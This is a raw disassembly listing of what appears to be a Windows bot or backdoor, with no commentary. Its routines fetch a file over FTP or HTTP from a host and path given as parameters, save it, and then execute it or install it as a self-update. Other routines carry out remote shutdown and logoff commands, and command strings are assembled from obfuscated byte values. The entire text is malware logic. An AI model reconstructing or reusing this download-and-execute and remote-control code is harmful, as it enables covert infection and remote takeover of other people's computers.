; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_401B4Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D640	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D6D0	proc near		; CODE XREF: sub_4014BAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D6D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D770	proc near		; CODE XREF: sub_4021E9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D830	proc near		; CODE XREF: sub_401C94j

var_44		= dword	ptr -44h
var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_24		= byte ptr  28h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_110		= byte ptr  114h
arg_120		= byte ptr  124h
arg_130		= byte ptr  134h
arg_1110	= dword	ptr  1114h
arg_1114	= byte ptr  1118h
arg_1130	= dword	ptr  1134h
arg_1138	= dword	ptr  113Ch
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DF48 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43C3A2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_448F30
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF35
		lea	ebx, [esi+65h]
		push	offset byte_448F30
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF35
		lea	ecx, [esi+26h]
		push	offset byte_448F30
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF35
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D8D1
		push	offset byte_448F30
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D8C4
		push	offset byte_448F30
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D8D1


loc_41D8C4:				; CODE XREF: sub_41D830+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DF3D
; ---------------------------------------------------------------------------


loc_41D8D1:				; CODE XREF: sub_41D830+70j
					; sub_41D830+92j
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41D95E
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41D96F


loc_41D95E:				; CODE XREF: sub_41D830+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41D96F:				; CODE XREF: sub_41D830+12Cj
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FDC
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015E1
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DB04
		call	sub_401E1F
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		call	sub_401A7D
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DA1C
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DF14
; ---------------------------------------------------------------------------


loc_41DA1C:				; CODE XREF: sub_41D830+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017EE
		push	eax
		call	sub_402266
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DA73
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF15
; ---------------------------------------------------------------------------


loc_41DA73:				; CODE XREF: sub_41D830+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_4016B3
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DAF2
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF15
; ---------------------------------------------------------------------------


loc_41DAF2:				; CODE XREF: sub_41D830+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D66
		add	esp, 4
		jmp	loc_41DD7B
; ---------------------------------------------------------------------------


loc_41DB04:				; CODE XREF: sub_41D830+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_40142E
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_40142E
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017EE
		push	eax
		call	sub_401AA0
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DB87
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		dd 69BAB8E8h, 0BEE99071h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41D830+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+30h+arg_24]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+24h+arg_24]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+2Ch+arg_24]
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017EE
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DC80
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_24], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+34h+var_18]
		mov	byte ptr [esp+34h+arg_1138], 3
		call	sub_401226
		lea	ecx, [esp+34h+arg_14]
		mov	byte ptr [esp+34h+arg_1138], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	[esp+34h+arg_1138], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DF48
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D830+3DBj
					; sub_41D830+484j ...
		mov	eax, [esp+34h+var_20]
		push	0
		lea	edx, [esp+38h+arg_130]
		push	1000h
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DCF8
		cmp	ebp, 1000h
		jge	short loc_41DCB0
		mov	[esp+ebp+44h+arg_120], 0


loc_41DCB0:				; CODE XREF: sub_41D830+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DC80


loc_41DCB6:				; CODE XREF: sub_41D830+4A5j
		push	4
		lea	ecx, [esp+edi+48h+arg_120]
		push	offset asc_444EC8 ; "\r\n\r\n"
		push	ecx
		call	near ptr 77C47A50h
		nop
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DCD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCB6
		jmp	short loc_41DC80
; ---------------------------------------------------------------------------


loc_41DCD9:				; CODE XREF: sub_41D830+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DCF8


loc_41DCE0:				; CODE XREF: sub_41D830+4C6j
		movsx	edx, [esp+edi+44h+arg_120]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCE0


loc_41DCF8:				; CODE XREF: sub_41D830+46Ej
					; sub_41D830+4AEj ...
		mov	edi, [esp+44h+var_30]
		push	0
		lea	eax, [esp+48h+arg_120]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DD48
		cmp	ebp, 1000h
		jge	short loc_41DD28
		mov	[esp+ebp+54h+arg_110], 0


loc_41DD28:				; CODE XREF: sub_41D830+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DCF8


loc_41DD2E:				; CODE XREF: sub_41D830+514j
		movsx	ecx, [esp+edi+54h+arg_110]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD2E
		jmp	short loc_41DCF8
; ---------------------------------------------------------------------------


loc_41DD48:				; CODE XREF: sub_41D830+4E6j
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+arg_1114], 3
		call	sub_401226
		lea	ecx, [esp+58h+var_C]
		mov	[esp+58h+arg_1114], 2
		call	sub_401226


loc_41DD7B:				; CODE XREF: sub_41D830+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DE17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DF0C
		push	offset byte_448F30
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_41DF0C
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41D830+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+8Ch+var_3C]
		push	51h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+58h+arg_1114], 5
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		call	sub_402167
		add	esp, 8
		lea	ecx, [esp+58h+var_3C]
		mov	bl, al
		mov	[esp+58h+arg_1114], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DEE7
		mov	al, byte_449896
		test	al, al
		jz	short loc_41DEB6
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_41DEB6:				; CODE XREF: sub_41D830+675j
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_41DECE
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_41DECE:				; CODE XREF: sub_41D830+68Dj
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		push	1
		mov	byte_4E8E44, 0
		call	near ptr 77C39E7Eh
		nop


loc_41DEE7:				; CODE XREF: sub_41D830+66Cj
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_41DF0C:				; CODE XREF: sub_41D830+597j
					; sub_41D830+5E2j
		mov	[esp+5Ch+var_44], esi
		lea	edx, [esp+5Ch+var_44]


loc_41DF14:				; CODE XREF: sub_41D830+1E7j
		push	edx


loc_41DF15:				; CODE XREF: sub_41D830+23Ej
					; sub_41D830+2BDj
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+5Ch+var_28]
		mov	[esp+5Ch+arg_1110], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DF48
; ---------------------------------------------------------------------------


loc_41DF35:				; CODE XREF: sub_41D830+36j
					; sub_41D830+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DF3D:				; CODE XREF: sub_41D830+9Cj
		push	eax
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_41D830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D830


loc_41DF48:				; CODE XREF: sub_41D830+44Bj
					; sub_41D830+703j
		mov	ecx, [esp+34h+arg_1130]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D830
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E140	proc near		; CODE XREF: sub_401BA4j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E140
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E31B
		push	offset dword_444FCC
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 28A0887h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E31B:				; CODE XREF: ___:0041E2DEj
		lea	ecx, [esi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E36A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 28A0887h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E36A:				; CODE XREF: ___:0041E32Dj
		lea	ecx, [esi+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 28A0887h


loc_41E3B1:				; CODE XREF: ___:0041E37Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E400	proc near		; CODE XREF: sub_401F7Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E400	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017EE
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E660	proc near		; CODE XREF: sub_40161Dj

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E660
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E7FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018E8
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E7E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_40170D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40197E
		push	eax
